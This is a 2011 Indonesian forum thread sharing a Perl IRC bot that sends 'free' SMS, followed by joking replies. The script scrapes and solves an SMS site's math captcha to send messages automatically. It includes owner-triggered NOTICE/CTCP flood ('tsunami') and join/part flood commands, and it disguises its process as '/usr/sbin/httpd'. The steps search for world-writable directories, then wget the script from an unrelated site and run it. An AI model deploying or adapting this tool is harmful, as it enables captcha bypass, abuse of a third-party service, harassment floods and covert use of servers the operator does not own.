Selamat Datang DiRumah.apabila anda sudah mendaftar silahkan Login

bagi yang belum mendaftar mohon daftarkan diri anda disini :cool:


 
IndeksHome RumahGroupPendaftaranLogin
ILLUMINATI
Illuminati force countdown :
Banner iklan
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
Similar topics
Top posting users this week
Statistics
Total 55 user terdaftar
User terdaftar terakhir adalah Vinson

Total 992 kiriman artikel dari user in 87 subjects

Share | 
 

 Cara Bikin Bot SMS Gratis

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
temp
Super Moderator


Male Jumlah posting : 143
Join date : 16.08.11

PostSubyek: Cara Bikin Bot SMS Gratis   Tue Aug 16, 2011 7:12 pm

Lagi iseng2 ngenet tiba2 dapet cara unik bikin bot sms gratisan hehe :D
Berikut ini adalah cara bikin bot sms gratisan, jadi jangan khawatir untuk semuanya, kita sudah punya Free SMS Bot loh.
Layanan yang diberikan adalah sms gratis & ini bisa dilakukan di IRC.
Pertama:

  1. Siapkan server / pc yang sudah terkoneksi dengan internet.
  2. Kalau anda menggunakan Windows, maka harus install Perl Machine
    dulu, Kalau menggunakan Unix, bisa langsung bikin asal perlnya sudah
    terinstall juga. Jangan lupa yang di install adalah perl versi 5.8.8 / lebih.

  3. Carilah directory yang bisa digunakan dengan perintah: find / -perm 777 -type d
  4. Kemudian simak code berikut:

<blockquote>############ SPECIAL THANKS TO ############
#BOT SMS GRATISAN
#POWERED BY BOTSMS / NIXSMS (www.botsms.com)
#TERIMA KASIH BANYAK UNTUK LAYANANNYA (COMEX)
#AUTHOR: KENZHIE / ARRAY / BYROE.NET
#BOT INI UNTUK BINUSHACKER MEMBER!! (www.binushacker.net)
############ MOHON JANGAN DIHAPUS ############
#!/usr/local/bin/perl -w
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use MIME::Base64;
########### SILAKAN EDIT MULAI DARI BAWAH SINI ###########
# SILAKAN ISI UNTUK SERVER ANDA DISINI.
my $server = “ix.dal.net”;
my @arnick = (“AYOSMS”);
my $ident = “AYOSMS”;
my $channel = “#BinusHacker”;
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => 6667,Proto => ‘tcp’) or die “Can’t connect\n”;
my $owner = “UtuH”;
my $password = “saya”;
my @logged =();
my $procname=”/usr/sbin/httpd”;
### RANDOM NICK UNTUK KONEKSI###
my $nick = @arnick[rand scalar @arnick];
print $sock “NICK $nick\r\n”;
print $sock “USER $ident 8 * :4-8=1[4LAYANAN SMS GRATIS1]8=4-\r\n”;
while (my $input = <$sock>) {
if ($input =~ /004/) {
last;
}
if ($input =~ /433/) {
print $sock “NICK “.$nick.”|”.int(rand(100)).”\r\n”;
}
print $sock “PRIVMSG “.$channel.” :”.$input.”\r\n”;
}
print $sock “JOIN $channel\r\n”;
print $sock “PRIVMSG $channel : Layanan sms gratis BinusHacker, ketik: .sms 08XXXXXXXXX isipesan\r\n”;
print $sock “PRIVMSG $owner : boz….!!!?\r\n”;
my $ping_counter = 0;
while (my $input = <$sock>) {
chop $input;
$input =~ s/\r\n$//;
if ($input =~ /^PING(.*)$/i) {
print $sock “PONG $1\r\n”;
$ping_counter = $ping_counter + 1;
if($ping_counter == 100) {
print $sock “PRIVMSG BeschBot :!keep st3v0\r\n”;
$ping_counter = 0;
}
}
#print $sock “PRIVMSG #JW :”.$input.”\r\n”; <—– ngecek semua input yg diterima oleh bot
####################help######################################
if ($input =~ /^.*\.help(.*)/){
@shnick = split(“!”,$input);
$shnick = @shnick[0];
$shnick =~ s/://g;
print $sock “PRIVMSG “.$shnick.” : -=[4POWERED BY BINUSHACKER - www.binushacker.net 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[#BINUSHACKER]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[4ADMIN COMMAND1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .join #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .part #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .say (nick)\n”;
print $sock “PRIVMSG “.$shnick.” : .quit\n”;
print $sock “PRIVMSG “.$shnick.” : .nick nick\n”;
#print $sock “PRIVMSG “.$shnick.” : —=[4FLOOD WAR1]=—\n”;
#print $sock “PRIVMSG “.$shnick.” : .tsunami (nick)/#chan\n”;
#print $sock “PRIVMSG “.$shnick.” : .dccflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .noticeflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .msgflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .hop #chan (pesan)\n”;
print $sock “PRIVMSG “.$shnick.” : -=[4PUBLIC COMMAND1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .sms no pesan\n”;
print $sock “PRIVMSG “.$shnick.” : .email pengirim judul(tanpa sepasi judulnya) email-tujuan pesan\n”;
}
############################## mesin ###############################
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.quit(.*)/){
print $sock “QUIT “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.hop(.*)/){
for (1..10){
print $sock “PART “.$1.” “.$2.”\r\n”;
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.join(.*)/){
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.part(.*)/){
print $sock “PART “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^.*\.whois(.*)/){
print $sock “WHOIS “.$1.”\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$channel.” “.$hasil.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.nick(.*)/){
print $sock “NICK “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.say(.*)/){
print $sock “PRIVMSG “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.tsunami(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “PRIVMSG “.$chan.” Hajar “.$data.”!!!\r\n”;
$flood =
“”;
for (1..10) {
print $sock “NOTICE “.$data.” :”.$flood.”\r\n”;
print $sock “PRIVMSG “.$data.” :\001″.$flood.”\001\n”;
}
print $sock “PRIVMSG “.$chan.” :Lapor!! “.$data.” sudah ditenggelamkan!\r\n”;
}
if ($input =~ /^.*\.ping(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “ctcp “.$data.” :ping\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$chan.” “.$hasil.”\r\n”;
}
if ($input =~ /^.*\.dns (.*)/){
print $sock “DNS “.$1.”\r\n”;
#$vhasil = “”;
$hasil=<$sock>;
}
###########################sms#############################
if ($input =~ /^.*\.sms(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
#ambil chan
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
#ambil user
@snick = split(“!”,$input);
$snick = @snick[0];
$snick =~ s/://g;
#print $sock “PRIVMSG “.$chan.” :pengirim “.$snick.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :”.$input.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :$data\r\n”;
# no psn–>
# 0857 XXXXXXXXXXX
@snomer = split(” “,$data);
#print $sock “PRIVMSG “.$chan.” :no tujuan”.@snomer[0].”\r\n”;
$no = @snomer[0];
$pesan = $data;
$pesan =~ s/ $no //g;
$pesan = $pesan.” \n\nDari $snick \n[BinusHackerFreeSMS]“; #<—— di dalam sms
#print $sock “PRIVMSG “.$chan.” :”.$pesan.”\r\n”;
if(sendSMS($no,$pesan)){
print $sock “PRIVMSG “.$chan.” :sms terkirim ke “.$no.” dari “.$snick.”\r\n”;
}
else {
print $sock “PRIVMSG “.$chan.” :gagal\r\n”;
}
}
################end of sms#################
if ($input =~ /JOIN/){
@sjnick = split(“!”,$input);
$sjnick = @sjnick[0];
$sjnick =~ s/://g;
@sjoin = split(” “,$input);
$sjoin = @sjoin[0];
$sjoin =~ s/ //g;
print $sock “NOTICE “.$sjnick.” :12for free sms ketik .sms nomer pesan\r\n”;
}
} #end while
sub sendSMS {
$no = $_[0];
$pesan = $_[1];
$site = “www.botsms.com”;
$path = “/widget/kirim-sms.php”;
############open konrksi#############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
###############cek apakah koneksi berhasil###############
if(!$socksms) {die(“g bisa bka socket $site port 80\r\n”);}
#############request data##############
print $socksms “GET $path http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: BinusHacker\r\n”;
print $socksms “Connection: Close\r\n”;
print $socksms “\r\n”;
#############ambil data,masukan ke dalam ariable array##############
my @data = <$socksms>;
##################close socket###################
close($socksms);
$data = join(“”,@data);
#print $data;
########ambil pertanyaan##########
@spertanyaan1 = split(“jawab ini : “,$data);
#print @pertanyaan1[1];
@spertanyaan2 = split(” =”,@spertanyaan1[1]);
#print @spertanyaan2[0];
@spertanyaan3 = split(” “,@spertanyaan2[0]);
#print “angka1= “.@spertanyaan3[0].”\r\n”;
#print “angka2= “.@spertanyaan3[2].”\r\n”;
$jawaban = @spertanyaan3[0]+@spertanyaan3[2];
#print “jawaban = $jawaban\r\n”;
###################ambil marguardcode################
@sguard1 = split(“name=’mathguard_code’ value=’”,$data);
#print @sguard1[1];
@sguard2 = split(“‘ />
”,@sguard1[1]);
#print @sguard2[0];
$sguard = @sguard2[0];
############devinisikan data yg diperlukan#############
$action = “/widget/kirim.php”;
$Phonenumbers = $no;
$Text = $pesan;
$mathguard_answer = $jawaban;
$mathguard_code = $sguard;
$TOMBOL = “KIRIM SMS”;
#################buat data yg akan di post##############
$Post =
“Phonenumbers=”.$Phonenumbers.”&Text=”.$Text.”&mathguard_answer=”.$mathguard_answer.”&mathguard_code=”.$mathguard_code.”&TOMBOL=”.$TOMBOL;
$panjang = length $Post;
###############kirim sms###############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
print $socksms “POST $action http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: BinusHacker\r\n”;
print $socksms “Content-type: application/x-www-form-urlencoded\r\n”;
print $socksms “Content-length: “.$panjang.”\r\n”;
print $socksms “Connection: Close\r\n\r\n”;
print $socksms $Post;
@hasil = <$socksms>;
close($socksms);
$hasil = join(“”,@hasil);
if($hasil=~ /SMS sedang diproses/){
return 1;
}
else{
return 0;
}
############ END OF BOT SMS ##########
###### SPECIAL THANKS TO ALL MEMBER #BINUSHACKER @ IRC.DAL.NET ########
}</blockquote>


Diatas adalah tampilan untuk perl configuration, SAYA MOHON JANGAN
DIHAPUS! Karena Logo tersebut ucapan terima kasih kami kepada penyedia
layanan SMS GRATIS Indonesia (NixSMS).


Oke kita lanjut, cara cepatnya adalah:
<blockquote>Silakan download, wget, fetch sourcenya disini: http://www.nordosten.se/includes/js/tabs/smsbot.txt</blockquote>
Setelah selesai wget / fetch / upload filenya,
Kemudian jalankan dengan perintah:
<blockquote>perl smsbot.txt</blockquote>
Setelah itu, tinggal duduk manis menunggu BOT masuk ke channel.
Untuk mengirimkan SMS, ketikkan perintah:
<blockquote>.sms notujuan pesan anda

</blockquote>
contoh:
<blockquote>.sms 123456789 halo, apakah anda sudah siap berpuasa?</blockquote>
Oh ya, jangan lupa kalau ada perubahan service di website silakan tanyakan kepada COMEX di IRC.DAL.NET #BINUSHACKER. Kebetulan kelihatan nongol orangnya. Kalau gak bisa dicari di Allnetwork.

Kemudian kalau ingin lebih jelas sourcenya: Silakan Hub [Array] / Kenzhie.
Silakan di explore lebih dalam lagi, agar dapat menggunakan beberapa provider sekaligus.
Selamat mencoba & semoga berhasil
Kembali Ke Atas Go down
Rizhu
Maho Enthusiast


Cancer Tiger
Jumlah posting : 12
Join date : 19.08.11
Age : 18
Lokasi : Kaskus

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 2:45 pm

Bikinin Bot Buat Ni Forum gan...
wokowkowkokw
Kembali Ke Atas Go down
Admin
Administrator


Male Libra Buffalo
Jumlah posting : 679
Join date : 23.07.11
Age : 19
Lokasi : KASKUS,RUMAH,DUNIACERIA

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 2:47 pm

Rizhu wrote:
Bikinin Bot Buat Ni Forum gan...
wokowkowkokw

yah bagus banget bikin aja ! (kalo mau di banned 5000 hari :ketawa: )
Kembali Ke Atas Go down
http://rumah.forums.lu
temp
Super Moderator


Male Jumlah posting : 143
Join date : 16.08.11

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 7:10 pm

Admin wrote:
Rizhu wrote:
Bikinin Bot Buat Ni Forum gan...
wokowkowkokw

yah bagus banget bikin aja ! (kalo mau di banned 5000 hari :ketawa: )

jangan bikin bot buat forum, pamali... nyengir nyengir nyengir
Kembali Ke Atas Go down
adel14
Auto Banned


Male Jumlah posting : 55
Join date : 16.08.11
Lokasi : Indonesia

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 7:39 pm

salsa_djjl wrote:
Admin wrote:
Rizhu wrote:
Bikinin Bot Buat Ni Forum gan...
wokowkowkokw

yah bagus banget bikin aja ! (kalo mau di banned 5000 hari :ketawa: )

jangan bikin bot buat forum, pamali... nyengir nyengir nyengir

wah :gila: hmmm ntar deh bisa beroperasi bersama :ketawa:
Kembali Ke Atas Go down
http://www.kulkas.us
Admin
Administrator


Male Libra Buffalo
Jumlah posting : 679
Join date : 23.07.11
Age : 19
Lokasi : KASKUS,RUMAH,DUNIACERIA

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 8:03 pm

tega amir :mewek:
Kembali Ke Atas Go down
http://rumah.forums.lu
adel14
Auto Banned


Male Jumlah posting : 55
Join date : 16.08.11
Lokasi : Indonesia

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 10:58 pm

Admin wrote:
tega amir :mewek:

tenang g akan disini masih banyak tempat yg lain, itu pun tergantung req pemiliknya nyengir
Kembali Ke Atas Go down
http://www.kulkas.us
Admin
Administrator


Male Libra Buffalo
Jumlah posting : 679
Join date : 23.07.11
Age : 19
Lokasi : KASKUS,RUMAH,DUNIACERIA

PostSubyek: Re: Cara Bikin Bot SMS Gratis   Fri Aug 19, 2011 11:15 pm

adel14 wrote:
Admin wrote:
tega amir :mewek:

tenang g akan disini masih banyak tempat yg lain, itu pun tergantung req pemiliknya nyengir

kamsud? :gila:
Kembali Ke Atas Go down
http://rumah.forums.lu
Sponsored content




PostSubyek: Re: Cara Bikin Bot SMS Gratis   Today at 2:48 pm

Kembali Ke Atas Go down
 
Cara Bikin Bot SMS Gratis
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» WTA cara bikin dudukan lampu custom di batok custom
» bikin nafas panjang di gigi 1,2,3
» [Tutorial] Cara membuat forum forumotion
» cara pasang DB Killer Yoshimura USA
» minta saran dong :pundung:

Permissions in this forum:Anda tidak dapat menjawab topik
 :: TEKNOLOGI :: Computer Stuff-
Navigasi: